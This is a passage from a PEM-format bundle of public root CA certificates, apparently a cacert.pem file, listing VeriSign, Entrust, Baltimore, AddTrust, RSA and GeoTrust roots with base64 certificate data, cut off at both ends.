01yiPqFbQfXf5WRDLenVOavSot+3i9DAgBkcRcAtjOj4LaR0VknFBbVPFd5uRHg5h6h+u/N5GJG7 9G+dwfCMNYxdAfvDbbnvRG15RjF+Cv6pgsH/76tuIMRQyV+dTZsXjAzlAcmgQWpzU/qlULRuJQ/7 TBj0/VLZjmmx6BEP3ojY+x1J96relc8geMJgEtslQIxq/H5COEBkEveegeGTLg== -----END CERTIFICATE----- Verisign Class 3 Public Primary Certification Authority - G3 ============================================================ -----BEGIN CERTIFICATE----- MIIEGjCCAwICEQCbfgZJoz5iudXukEhxKe9XMA0GCSqGSIb3DQEBBQUAMIHKMQswCQYDVQQGEwJV UzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdv cmsxOjA4BgNVBAsTMShjKSAxOTk5IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNl IG9ubHkxRTBDBgNVBAMTPFZlcmlTaWduIENsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNh dGlvbiBBdXRob3JpdHkgLSBHMzAeFw05OTEwMDEwMDAwMDBaFw0zNjA3MTYyMzU5NTlaMIHKMQsw CQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRy dXN0IE5ldHdvcmsxOjA4BgNVBAsTMShjKSAxOTk5IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhv cml6ZWQgdXNlIG9ubHkxRTBDBgNVBAMTPFZlcmlTaWduIENsYXNzIDMgUHVibGljIFByaW1hcnkg Q2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHMzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC ggEBAMu6nFL8eB8aHm8bN3O9+MlrlBIwT/A2R/XQkQr1F8ilYcEWQE37imGQ5XYgwREGfassbqb1 EUGO+i2tKmFZpGcmTNDovFJbcCAEWNF6yaRpvIMXZK0Fi7zQWM6NjPXr8EJJC52XJ2cybuGukxUc cLwgTS8Y3pKI6GyFVxEa6X7jJhFUokWWVYPKMIno3Nij7SqAP395ZVc+FSBmCC+Vk7+qRy+oRpfw EuL+wgorUeZ25rdGt+INpsyow0xZVYnm6FNcHOqd8GIWC6fJXwzw3sJ2zq/3avL6QaaiMxTJ5Xpj 055iN9WFZZ4O5lMkdBteHRJTW8cs54NJOxWuimi5V5cCAwEAATANBgkqhkiG9w0BAQUFAAOCAQEA ERSWwauSCPc/L8my/uRan2Te2yFPhpk0djZX3dAVL8WtfxUfN2JzPtTnX84XA9s1+ivbrmAJXx5f j267Cz3qWhMeDGBvtcC1IyIuBwvLqXTLR7sdwdela8wv0kL9Sd2nic9TutoAWii/gt/4uhMdUIaC /Y4wjylGsB49Ndo4YhYYSq3mtlFs3q9i6wHQHiT+eo8SGhJouPtmmRQURVyu565pF4ErWjfJXir0 xuKhXFSbplQAz/DxwceYMBo7Nhbbo27q/a2ywtrvAkcTisDxszGtTxzhT5yvDwyd93gN2PQ1VoDa t20Xj50egWTh/sVFuq1ruQp6Tk9LhO5L8X3dEQ== -----END CERTIFICATE----- Verisign Class 4 Public Primary Certification Authority - G3 ============================================================ -----BEGIN CERTIFICATE----- MIIEGjCCAwICEQDsoKeLbnVqAc/EfMwvlF7XMA0GCSqGSIb3DQEBBQUAMIHKMQswCQYDVQQGEwJV UzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdv cmsxOjA4BgNVBAsTMShjKSAxOTk5IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNl IG9ubHkxRTBDBgNVBAMTPFZlcmlTaWduIENsYXNzIDQgUHVibGljIFByaW1hcnkgQ2VydGlmaWNh dGlvbiBBdXRob3JpdHkgLSBHMzAeFw05OTEwMDEwMDAwMDBaFw0zNjA3MTYyMzU5NTlaMIHKMQsw CQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRy dXN0IE5ldHdvcmsxOjA4BgNVBAsTMShjKSAxOTk5IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhv cml6ZWQgdXNlIG9ubHkxRTBDBgNVBAMTPFZlcmlTaWduIENsYXNzIDQgUHVibGljIFByaW1hcnkg Q2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHMzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC ggEBAK3LpRFpxlmr8Y+1GQ9Wzsy1HyDkniYlS+BzZYlZ3tCD5PUPtbut8XzoIfzk6AzufEUiGXaS tBO3IFsJ+mGuqPKljYXCKtbeZjbSmwL0qJJgfJxptI8kHtCGUvYynEFYHiK9zUVilQhu0GbdU6LM 8BDcVHOLBKFGMzNcF0C5nk3T875Vg+ixiY5afJqWIpA7iCXy0lOIAgwLePLmNxdLMEYH5IBtptiW Lugs+BGzOA1mppvqySNb247i8xOOGlktqgLw7KSHZtzBP/XYufTsgsbSPZUd5cBPhMnZo0QoBmrX Razwa2rvTl/4EYIeOGM0ZlDUPpNz+jDDZq3/ky2X7wMCAwEAATANBgkqhkiG9w0BAQUFAAOCAQEA j/ola09b5KROJ1WrIhVZPMq1CtRK26vdoV9TxaBXOcLORyu+OshWv8LZJxA6sQU8wHcxuzrTBXtt mhwwjIDLk5Mqg6sFUYICABFna/OIYUdfA5PVWw3g8dShMjWFsjrbsIKr0csKvE+MW8VLADsfKoKm fjaF3H48ZwC15DtS4KjrXRX5xm3wrR0OhbepmnMUWluPQSjA1egtTaRezarZ7c7c2NU8Qh0XwRJd RTjDOPP8hS6DRkiy1yBfkjaP53kPmF6Z6PDQpLv1U70qzlmwr25/bLvSHgCwIe34QWKCudiyxLtG UPMxxY8BqHTr9Xgn2uf3ZkPznoM+IKrDNWCRzg== -----END CERTIFICATE----- Entrust.net Premium 2048 Secure Server CA ========================================= -----BEGIN CERTIFICATE----- MIIEKjCCAxKgAwIBAgIEOGPe+DANBgkqhkiG9w0BAQUFADCBtDEUMBIGA1UEChMLRW50cnVzdC5u ZXQxQDA+BgNVBAsUN3d3dy5lbnRydXN0Lm5ldC9DUFNfMjA0OCBpbmNvcnAuIGJ5IHJlZi4gKGxp bWl0cyBsaWFiLikxJTAjBgNVBAsTHChjKSAxOTk5IEVudHJ1c3QubmV0IExpbWl0ZWQxMzAxBgNV BAMTKkVudHJ1c3QubmV0IENlcnRpZmljYXRpb24gQXV0aG9yaXR5ICgyMDQ4KTAeFw05OTEyMjQx NzUwNTFaFw0yOTA3MjQxNDE1MTJaMIG0MRQwEgYDVQQKEwtFbnRydXN0Lm5ldDFAMD4GA1UECxQ3 d3d3LmVudHJ1c3QubmV0L0NQU18yMDQ4IGluY29ycC4gYnkgcmVmLiAobGltaXRzIGxpYWIuKTEl MCMGA1UECxMcKGMpIDE5OTkgRW50cnVzdC5uZXQgTGltaXRlZDEzMDEGA1UEAxMqRW50cnVzdC5u ZXQgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgKDIwNDgpMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A MIIBCgKCAQEArU1LqRKGsuqjIAcVFmQqK0vRvwtKTY7tgHalZ7d4QMBzQshowNtTK91euHaYNZOL Gp18EzoOH1u3Hs/lJBQesYGpjX24zGtLA/ECDNyrpUAkAH90lKGdCCmziAv1h3edVc3kw37XamSr hRSGlVuXMlBvPci6Zgzj/L24ScF2iUkZ/cCovYmjZy/Gn7xxGWC4LeksyZB2ZnuU4q941mVTXTzW nLLPKQP5L6RQstRIzgUyVYr9smRMDuSYB3Xbf9+5CFVghTAp+XtIpGmG4zU/HoZdenoVve8AjhUi VBcAkCaTvA5JaJG/+EfTnZVCwQ5N328mz8MYIWJmQ3DW1cAH4QIDAQABo0IwQDAOBgNVHQ8BAf8E BAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUVeSB0RGAvtiJuQijMfmhJAkWuXAwDQYJ KoZIhvcNAQEFBQADggEBADubj1abMOdTmXx6eadNl9cZlZD7Bh/KM3xGY4+WZiT6QBshJ8rmcnPy T/4xmf3IDExoU8aAghOY+rat2l098c5u9hURlIIM7j+VrxGrD9cv3h8Dj1csHsm7mhpElesYT6Yf zX1XEC+bBAlahLVu2B064dae0Wx5XnkcFMXj0EyTO2U87d89vqbllRrDtRnDvV5bu/8j72gZyxKT J1wDLW8w0B62GqzeWvfRqqgnpv55gcR5mTNXuhKwqeBCbJPKVt7+bYQLCIt+jerXmCHG8+c8eS9e nNFMFY3h7CI3zJpDC5fcgJCNs2ebb0gIFVbPv/ErfF6adulZkMV8gzURZVE= -----END CERTIFICATE----- Baltimore CyberTrust Root ========================= -----BEGIN CERTIFICATE----- MIIDdzCCAl+gAwIBAgIEAgAAuTANBgkqhkiG9w0BAQUFADBaMQswCQYDVQQGEwJJRTESMBAGA1UE ChMJQmFsdGltb3JlMRMwEQYDVQQLEwpDeWJlclRydXN0MSIwIAYDVQQDExlCYWx0aW1vcmUgQ3li ZXJUcnVzdCBSb290MB4XDTAwMDUxMjE4NDYwMFoXDTI1MDUxMjIzNTkwMFowWjELMAkGA1UEBhMC SUUxEjAQBgNVBAoTCUJhbHRpbW9yZTETMBEGA1UECxMKQ3liZXJUcnVzdDEiMCAGA1UEAxMZQmFs dGltb3JlIEN5YmVyVHJ1c3QgUm9vdDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKME uyKrmD1X6CZymrV51Cni4eiVgLGw41uOKymaZN+hXe2wCQVt2yguzmKiYv60iNoS6zjrIZ3AQSsB UnuId9Mcj8e6uYi1agnnc+gRQKfRzMpijS3ljwumUNKoUMMo6vWrJYeKmpYcqWe4PwzV9/lSEy/C G9VwcPCPwBLKBsua4dnKM3p31vjsufFoREJIE9LAwqSuXmD+tqYF/LTdB1kC1FkYmGP1pWPgkAx9 XbIGevOF6uvUA65ehD5f/xXtabz5OTZydc93Uk3zyZAsuT3lySNTPx8kmCFcB5kpvcY67Oduhjpr l3RjM71oGDHweI12v/yejl0qhqdNkNwnGjkCAwEAAaNFMEMwHQYDVR0OBBYEFOWdWTCCR1jMrPoI VDaGezq1BE3wMBIGA1UdEwEB/wQIMAYBAf8CAQMwDgYDVR0PAQH/BAQDAgEGMA0GCSqGSIb3DQEB BQUAA4IBAQCFDF2O5G9RaEIFoN27TyclhAO992T9Ldcw46QQF+vaKSm2eT929hkTI7gQCvlYpNRh cL0EYWoSihfVCr3FvDB81ukMJY2GQE/szKN+OMY3EU/t3WgxjkzSswF07r51XgdIGn9w/xZchMB5 hbgF/X++ZRGjD8ACtPhSNzkE1akxehi/oCr0Epn3o0WC4zxe9Z2etciefC7IpJ5OCBRLbf1wbWsa Y71k5h+3zvDyny67G7fyUIhzksLi4xaNmjICq44Y3ekQEe5+NauQrz4wlHrQMz2nZQ/1/I6eYs9H RCwBXbsdtTLSR9I4LtD+gdwyah617jzV/OeBHRnDJELqYzmp -----END CERTIFICATE----- AddTrust Low-Value Services Root ================================ -----BEGIN CERTIFICATE----- MIIEGDCCAwCgAwIBAgIBATANBgkqhkiG9w0BAQUFADBlMQswCQYDVQQGEwJTRTEUMBIGA1UEChML QWRkVHJ1c3QgQUIxHTAbBgNVBAsTFEFkZFRydXN0IFRUUCBOZXR3b3JrMSEwHwYDVQQDExhBZGRU cnVzdCBDbGFzcyAxIENBIFJvb3QwHhcNMDAwNTMwMTAzODMxWhcNMjAwNTMwMTAzODMxWjBlMQsw CQYDVQQGEwJTRTEUMBIGA1UEChMLQWRkVHJ1c3QgQUIxHTAbBgNVBAsTFEFkZFRydXN0IFRUUCBO ZXR3b3JrMSEwHwYDVQQDExhBZGRUcnVzdCBDbGFzcyAxIENBIFJvb3QwggEiMA0GCSqGSIb3DQEB AQUAA4IBDwAwggEKAoIBAQCWltQhSWDia+hBBwzexODcEyPNwTXH+9ZOEQpnXvUGW2ulCDtbKRY6 54eyNAbFvAWlA3yCyykQruGIgb3WntP+LVbBFc7jJp0VLhD7Bo8wBN6ntGO0/7Gcrjyvd7ZWxbWr oulpOj0OM3kyP3CCkplhbY0wCI9xP6ZIVxn4JdxLZlyldI+Yrsj5wAYi56xz36Uu+1LcsRVlIPo1 Zmne3yzxbrww2ywkEtvrNTVokMsAsJchPXQhI2U0K7t4WaPW4XY5mqRJjox0r26kmqPZm9I4XJui GMx1I4S+6+JNM3GOGvDC+Mcdoq0Dlyz4zyXG9rgkMbFjXZJ/Y/AlyVMuH79NAgMBAAGjgdIwgc8w HQYDVR0OBBYEFJWxtPCUtr3H2tERCSG+wa9J/RB7MAsGA1UdDwQEAwIBBjAPBgNVHRMBAf8EBTAD AQH/MIGPBgNVHSMEgYcwgYSAFJWxtPCUtr3H2tERCSG+wa9J/RB7oWmkZzBlMQswCQYDVQQGEwJT RTEUMBIGA1UEChMLQWRkVHJ1c3QgQUIxHTAbBgNVBAsTFEFkZFRydXN0IFRUUCBOZXR3b3JrMSEw HwYDVQQDExhBZGRUcnVzdCBDbGFzcyAxIENBIFJvb3SCAQEwDQYJKoZIhvcNAQEFBQADggEBACxt ZBsfzQ3duQH6lmM0MkhHma6X7f1yFqZzR1r0693p9db7RcwpiURdv0Y5PejuvE1Uhh4dbOMXJ0Ph iVYrqW9yTkkz43J8KiOavD7/KCrto/8cI7pDVwlnTUtiBi34/2ydYB7YHEt9tTEv2dB8Xfjea4MY eDdXL+gzB2ffHsdrKpV2ro9Xo/D0UrSpUwjP4E/TelOL/bscVjby/rK25Xa71SJlpz/+0WatC7xr mYbvP33zGDLKe8bjq2RGlfgmadlVg3sslgf/WSxEo8bl6ancoWOAWiFeIc9TVPC6b4nbqKqVz4vj ccweGyBECMB6tkD9xOQ14R0WHNC8K47Wcdk= -----END CERTIFICATE----- AddTrust External Root ====================== -----BEGIN CERTIFICATE----- MIIENjCCAx6gAwIBAgIBATANBgkqhkiG9w0BAQUFADBvMQswCQYDVQQGEwJTRTEUMBIGA1UEChML QWRkVHJ1c3QgQUIxJjAkBgNVBAsTHUFkZFRydXN0IEV4dGVybmFsIFRUUCBOZXR3b3JrMSIwIAYD VQQDExlBZGRUcnVzdCBFeHRlcm5hbCBDQSBSb290MB4XDTAwMDUzMDEwNDgzOFoXDTIwMDUzMDEw NDgzOFowbzELMAkGA1UEBhMCU0UxFDASBgNVBAoTC0FkZFRydXN0IEFCMSYwJAYDVQQLEx1BZGRU cnVzdCBFeHRlcm5hbCBUVFAgTmV0d29yazEiMCAGA1UEAxMZQWRkVHJ1c3QgRXh0ZXJuYWwgQ0Eg Um9vdDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALf3GjPm8gAELTngTlvtH7xsD821 +iO2zt6bETOXpClMfZOfvUq8k+0DGuOPz+VtUFrWlymUWoCwSXrbLpX9uMq/NzgtHj6RQa1wVsfw Tz/oMp50ysiQVOnGXw94nZpAPA6sYapeFI+eh6FqUNzXmk6vBbOmcZSccbNQYArHE504B4YCqOmo aSYYkKtMsE8jqzpPhNjfzp/haW+710LXa0Tkx63ubUFfclpxCDezeWWkWaCUN/cALw3CknLa0Dhy 2xSoRcRdKn23tNbE7qzNE0S3ySvdQwAl+mG5aWpYIxG3pzOPVnVZ9c0p10a3CitlttNCbxWyuHv7 7+ldU9U0WicCAwEAAaOB3DCB2TAdBgNVHQ4EFgQUrb2YejS0Jvf6xCZU7wO94CTLVBowCwYDVR0P BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wgZkGA1UdIwSBkTCBjoAUrb2YejS0Jvf6xCZU7wO94CTL VBqhc6RxMG8xCzAJBgNVBAYTAlNFMRQwEgYDVQQKEwtBZGRUcnVzdCBBQjEmMCQGA1UECxMdQWRk VHJ1c3QgRXh0ZXJuYWwgVFRQIE5ldHdvcmsxIjAgBgNVBAMTGUFkZFRydXN0IEV4dGVybmFsIENB IFJvb3SCAQEwDQYJKoZIhvcNAQEFBQADggEBALCb4IUlwtYj4g+WBpKdQZic2YR5gdkeWxQHIzZl j7DYd7usQWxHYINRsPkyPef89iYTx4AWpb9a/IfPeHmJIZriTAcKhjW88t5RxNKWt9x+Tu5w/Rw5 6wwCURQtjr0W4MHfRnXnJK3s9EK0hZNwEGe6nQY1ShjTK3rMUUKhemPR5ruhxSvCNr4TDea9Y355 e6cJDUCrat2PisP29owaQgVR1EX1n6diIWgVIEM8med8vSTYqZEXc4g/VhsxOBi0cQ+azcgOno4u G+GMmIPLHzHxREzGBHNJdmAPx/i9F4BrLunMTA5amnkPIAou1Z5jJh5VkpTYghdae9C8x49OhgQ= -----END CERTIFICATE----- AddTrust Public Services Root ============================= -----BEGIN CERTIFICATE----- MIIEFTCCAv2gAwIBAgIBATANBgkqhkiG9w0BAQUFADBkMQswCQYDVQQGEwJTRTEUMBIGA1UEChML QWRkVHJ1c3QgQUIxHTAbBgNVBAsTFEFkZFRydXN0IFRUUCBOZXR3b3JrMSAwHgYDVQQDExdBZGRU cnVzdCBQdWJsaWMgQ0EgUm9vdDAeFw0wMDA1MzAxMDQxNTBaFw0yMDA1MzAxMDQxNTBaMGQxCzAJ BgNVBAYTAlNFMRQwEgYDVQQKEwtBZGRUcnVzdCBBQjEdMBsGA1UECxMUQWRkVHJ1c3QgVFRQIE5l dHdvcmsxIDAeBgNVBAMTF0FkZFRydXN0IFB1YmxpYyBDQSBSb290MIIBIjANBgkqhkiG9w0BAQEF AAOCAQ8AMIIBCgKCAQEA6Rowj4OIFMEg2Dybjxt+A3S72mnTRqX4jsIMEZBRpS9mVEBV6tsfSlbu nyNu9DnLoblv8n75XYcmYZ4c+OLspoH4IcUkzBEMP9smcnrHAZcHF/nXGCwwfQ56HmIexkvA/X1i d9NEHif2P0tEs7c42TkfYNVRknMDtABp4/MUTu7R3AnPdzRGULD4EfL+OHn3Bzn+UZKXC1sIXzSG Aa2Il+tmzV7R/9x98oTaunet3IAIx6eH1lWfl2royBFkuucZKT8Rs3iQhCBSWxHveNCD9tVIkNAw HM+A+WD+eeSI8t0A65RF62WUaUC6wNW0uLp9BBGo6zEFlpROWCGOn9Bg/QIDAQABo4HRMIHOMB0G A1UdDgQWBBSBPjfYkrAfd59ctKtzquf2NGAv+jALBgNVHQ8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB /zCBjgYDVR0jBIGGMIGDgBSBPjfYkrAfd59ctKtzquf2NGAv+qFopGYwZDELMAkGA1UEBhMCU0Ux FDASBgNVBAoTC0FkZFRydXN0IEFCMR0wGwYDVQQLExRBZGRUcnVzdCBUVFAgTmV0d29yazEgMB4G A1UEAxMXQWRkVHJ1c3QgUHVibGljIENBIFJvb3SCAQEwDQYJKoZIhvcNAQEFBQADggEBAAP3FUr4 JNojVhaTdt02KLmuG7jD8WS6IBh4lSknVwW8fCr0uVFV2ocC3g8WFzH4qnkuCRO7r7IgGRLlk/lL +YPoRNWyQSW/iHVv/xD8SlTQX/D67zZzfRs2RcYhbbQVuE7PnFylPVoAjgbjPGsye/Kf8Lb93/Ao GEjwxrzQvzSAlsJKsW2Ox5BF3i9nrEUEo3rcVZLJR2bYGozH7ZxOmuASu7VqTITh4SINhwBk/ox9 Yjllpu9CtoAlEmEBqCQTcAARJl/6NVDFSMwGR+gn2HCNX2TmoUQmXiLsks3/QppEIW1cxeMiHV9H EufOX1362KqxMy3ZdvJOOjMMK7MtkAY= -----END CERTIFICATE----- AddTrust Qualified Certificates Root ==================================== -----BEGIN CERTIFICATE----- MIIEHjCCAwagAwIBAgIBATANBgkqhkiG9w0BAQUFADBnMQswCQYDVQQGEwJTRTEUMBIGA1UEChML QWRkVHJ1c3QgQUIxHTAbBgNVBAsTFEFkZFRydXN0IFRUUCBOZXR3b3JrMSMwIQYDVQQDExpBZGRU cnVzdCBRdWFsaWZpZWQgQ0EgUm9vdDAeFw0wMDA1MzAxMDQ0NTBaFw0yMDA1MzAxMDQ0NTBaMGcx CzAJBgNVBAYTAlNFMRQwEgYDVQQKEwtBZGRUcnVzdCBBQjEdMBsGA1UECxMUQWRkVHJ1c3QgVFRQ IE5ldHdvcmsxIzAhBgNVBAMTGkFkZFRydXN0IFF1YWxpZmllZCBDQSBSb290MIIBIjANBgkqhkiG 9w0BAQEFAAOCAQ8AMIIBCgKCAQEA5B6a/twJWoekn0e+EV+vhDTbYjx5eLfpMLXsDBwqxBb/4Oxx 64r1EW7tTw2R0hIYLUkVAcKkIhPHEWT/IhKauY5cLwjPcWqzZwFZ8V1G87B4pfYOQnrjfxvM0PC3 KP0q6p6zsLkEqv32x7SxuCqg+1jxGaBvcCV+PmlKfw8i2O+tCBGaKZnhqkRFmhJePp1tUvznoD1o L/BLcHwTOK28FSXx1s6rosAx1i+f4P8UWfyEk9mHfExUE+uf0S0R+Bg6Ot4l2ffTQO2kBhLEO+GR wVY18BTcZTYJbqukB8c10cIDMzZbdSZtQvESa0NvS3GU+jQd7RNuyoB/mC9suWXY6QIDAQABo4HU MIHRMB0GA1UdDgQWBBQ5lYtii1zJ1IC6WA+XPxUIQ8yYpzALBgNVHQ8EBAMCAQYwDwYDVR0TAQH/ BAUwAwEB/zCBkQYDVR0jBIGJMIGGgBQ5lYtii1zJ1IC6WA+XPxUIQ8yYp6FrpGkwZzELMAkGA1UE BhMCU0UxFDASBgNVBAoTC0FkZFRydXN0IEFCMR0wGwYDVQQLExRBZGRUcnVzdCBUVFAgTmV0d29y azEjMCEGA1UEAxMaQWRkVHJ1c3QgUXVhbGlmaWVkIENBIFJvb3SCAQEwDQYJKoZIhvcNAQEFBQAD ggEBABmrder4i2VhlRO6aQTvhsoToMeqT2QbPxj2qC0sVY8FtzDqQmodwCVRLae/DLPt7wh/bDxG GuoYQ992zPlmhpwsaPXpF/gxsxjE1kh9I0xowX67ARRvxdlu3rsEQmr49lx95dr6h+sNNVJn0J6X dgWTP5XHAeZpVTh/EGGZyeNfpso+gmNIquIISD6q8rKFYqa0p9m9N5xotS1WfbC3P6CxB9bpT9ze RXEwMn8bLgn5v1Kh7sKAPgZcLlVAwRv1cEWw3F369nJad9Jjzc9YiQBCYz95OdBEsIJuQRno3eDB iFrRHnGTHyQwdOUeqN48Jzd/g66ed8/wMLH/S5noxqE= -----END CERTIFICATE----- Entrust Root Certification Authority ==================================== -----BEGIN CERTIFICATE----- MIIEkTCCA3mgAwIBAgIERWtQVDANBgkqhkiG9w0BAQUFADCBsDELMAkGA1UEBhMCVVMxFjAUBgNV BAoTDUVudHJ1c3QsIEluYy4xOTA3BgNVBAsTMHd3dy5lbnRydXN0Lm5ldC9DUFMgaXMgaW5jb3Jw b3JhdGVkIGJ5IHJlZmVyZW5jZTEfMB0GA1UECxMWKGMpIDIwMDYgRW50cnVzdCwgSW5jLjEtMCsG A1UEAxMkRW50cnVzdCBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTA2MTEyNzIwMjM0 MloXDTI2MTEyNzIwNTM0MlowgbAxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1FbnRydXN0LCBJbmMu MTkwNwYDVQQLEzB3d3cuZW50cnVzdC5uZXQvQ1BTIGlzIGluY29ycG9yYXRlZCBieSByZWZlcmVu Y2UxHzAdBgNVBAsTFihjKSAyMDA2IEVudHJ1c3QsIEluYy4xLTArBgNVBAMTJEVudHJ1c3QgUm9v dCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB ALaVtkNC+sZtKm9I35RMOVcF7sN5EUFoNu3s/poBj6E4KPz3EEZmLk0eGrEaTsbRwJWIsMn/MYsz A9u3g3s+IIRe7bJWKKf44LlAcTfFy0cOlypowCKVYhXbR9n10Cv/gkvJrT7eTNuQgFA/CYqEAOww Cj0Yzfv9KlmaI5UXLEWeH25DeW0MXJj+SKfFI0dcXv1u5x609mhF0YaDW6KKjbHjKYD+JXGIrb68 j6xSlkuqUY3kEzEZ6E5Nn9uss2rVvDlUccp6en+Q3X0dgNmBu1kmwhH+5pPi94DkZfs0Nw4pgHBN rziGLp5/V6+eF67rHMsoIV+2HNjnogQi+dPa2MsCAwEAAaOBsDCBrTAOBgNVHQ8BAf8EBAMCAQYw DwYDVR0TAQH/BAUwAwEB/zArBgNVHRAEJDAigA8yMDA2MTEyNzIwMjM0MlqBDzIwMjYxMTI3MjA1 MzQyWjAfBgNVHSMEGDAWgBRokORnpKZTgMeGZqTx90tD+4S9bTAdBgNVHQ4EFgQUaJDkZ6SmU4DH hmak8fdLQ/uEvW0wHQYJKoZIhvZ9B0EABBAwDhsIVjcuMTo0LjADAgSQMA0GCSqGSIb3DQEBBQUA A4IBAQCT1DCw1wMgKtD5Y+iRDAUgqV8ZyntyTtSx29CW+1RaGSwMCPeyvIWonX9tO1KzKtvn1ISM Y/YPyyYBkVBs9F8U4pN0wBOeMDpQ47RgxRzwIkSNcUesyBrJ6ZuaAGAT/3B+XxFNSRuzFVJ7yVTa v52Vr2ua2J7p8eRDjeIRRDq/r72DQnNSi6q7pynP9WQcCk3RvKqsnyrQ/39/2n3qse0wJcGE2jTS W3iDVuycNsMm4hH2Z0kdkquM++v/eu6FSqdQgPCnXEqULl8FmTxSQeDNtGPPAUO6nIPcj2A781q0 tHuu2guQOHXvgR1m0vdXcDazv/wor3ElhVsT/h5/WrQ8 -----END CERTIFICATE----- RSA Security 2048 v3 ==================== -----BEGIN CERTIFICATE----- MIIDYTCCAkmgAwIBAgIQCgEBAQAAAnwAAAAKAAAAAjANBgkqhkiG9w0BAQUFADA6MRkwFwYDVQQK ExBSU0EgU2VjdXJpdHkgSW5jMR0wGwYDVQQLExRSU0EgU2VjdXJpdHkgMjA0OCBWMzAeFw0wMTAy MjIyMDM5MjNaFw0yNjAyMjIyMDM5MjNaMDoxGTAXBgNVBAoTEFJTQSBTZWN1cml0eSBJbmMxHTAb BgNVBAsTFFJTQSBTZWN1cml0eSAyMDQ4IFYzMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC AQEAt49VcdKA3XtpeafwGFAyPGJn9gqVB93mG/Oe2dJBVGutn3y+Gc37RqtBaB4Y6lXIL5F4iSj7 Jylg/9+PjDvJSZu1pJTOAeo+tWN7fyb9Gd3AIb2E0S1PRsNO3Ng3OTsor8udGuorryGlwSMiuLgb WhOHV4PR8CDn6E8jQrAApX2J6elhc5SYcSa8LWrg903w8bYqODGBDSnhAMFRD0xS+ARaqn1y07iH KrtjEAMqs6FPDVpeRrc9DvV07Jmf+T0kgYim3WBU6JU2PcYJk5qjEoAAVZkZR73QpXzDuvsf9/UP +Ky5tfQ3mBMY3oVbtwyCO4dvlTlYMNpuAWgXIszACwIDAQABo2MwYTAPBgNVHRMBAf8EBTADAQH/ MA4GA1UdDwEB/wQEAwIBBjAfBgNVHSMEGDAWgBQHw1EwpKrpRa41JPr/JCwz0LGdjDAdBgNVHQ4E FgQUB8NRMKSq6UWuNST6/yQsM9CxnYwwDQYJKoZIhvcNAQEFBQADggEBAF8+hnZuuDU8TjYcHnmY v/3VEhF5Ug7uMYm83X/50cYVIeiKAVQNOvtUudZj1LGqlk2iQk3UUx+LEN5/Zb5gEydxiKRz44Rj 0aRV4VCT5hsOedBnvEbIvz8XDZXmxpBp3ue0L96VfdASPz0+f00/FGj1EVDVwfSQpQgdMWD/YIwj VAqv/qFuxdF6Kmh4zx6CCiC0H63lhbJqaHVOrSU3lIW+vaHU6rcMSzyd6BIA8F+sDeGscGNz9395 nzIlQnQFgCi/vcEkllgVsRch6YlL2weIZ/QVrXA+L02FO8K32/6YaCOJ4XQP3vTFhGMpG8zLB8kA pKnXwiJPZ9d37CAFYd4= -----END CERTIFICATE----- GeoTrust Global CA ================== -----BEGIN CERTIFICATE----- MIIDVDCCAjygAwIBAgIDAjRWMA0GCSqGSIb3DQEBBQUAMEIxCzAJBgNVBAYTAlVTMRYwFAYDVQQK Ew1HZW9UcnVzdCBJbmMuMRswGQYDVQQDExJHZW9UcnVzdCBHbG9iYWwgQ0EwHhcNMDIwNTIxMDQw MDAwWhcNMjIwNTIxMDQwMDAwWjBCMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5j LjEbMBkGA1UEAxMSR2VvVHJ1c3QgR2xvYmFsIENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB CgKCAQEA2swYYzD99BcjGlZ+W988bDjkcbd4kdS8odhM+KhDtgPpTSEHCIjaWC9mOSm9BXiLnTjo BbdqfnGk5sRgprDvgOSJKA+eJdbtg/OtppHHmMlCGDUUna2YRpIuT8rxh0PBFpVXLVDviS2Aelet 8u5fa9IAjbkU+BQVNdnARqN7csiRv8lVK83Qlz6cJmTM386DGXHKTubU1XupGc1V3sjs0l44U+Vc T4wt/lAjNvxm5suOpDkZALeVAjmRCw7+OC7RHQWa9k0+bw8HHa8sHo9gOeL6NlMTOdReJivbPagU vTLrGAMoUgRx5aszPeE4uwc2hGKceeoWMPRfwCvocWvk+QIDAQABo1MwUTAPBgNVHRMBAf8EBTAD AQH/MB0GA1UdDgQWBBTAephojYn7qwVkDBF9qn1luMrMTjAfBgNVHSMEGDAWgBTAephojYn7qwVk DBF9qn1luMrMTjANBgkqhkiG9w0BAQUFAAOCAQEANeMpauUvXVSOKVCUn5kaFOSPeCpilKInZ57Q zxpeR+nBsqTP3UEaBU6bS+5Kb1VSsyShNwrrZHYqLizz/Tt1kL/6cdjHPTfStQWVYrmm3ok9Nns4 d0iXrKYgjy6myQzCsplFAMfOEVEiIuCl6rYVSAlk6l5PdPcFPseKUgzbFbS9bZvlxrFUaKnjaZC2 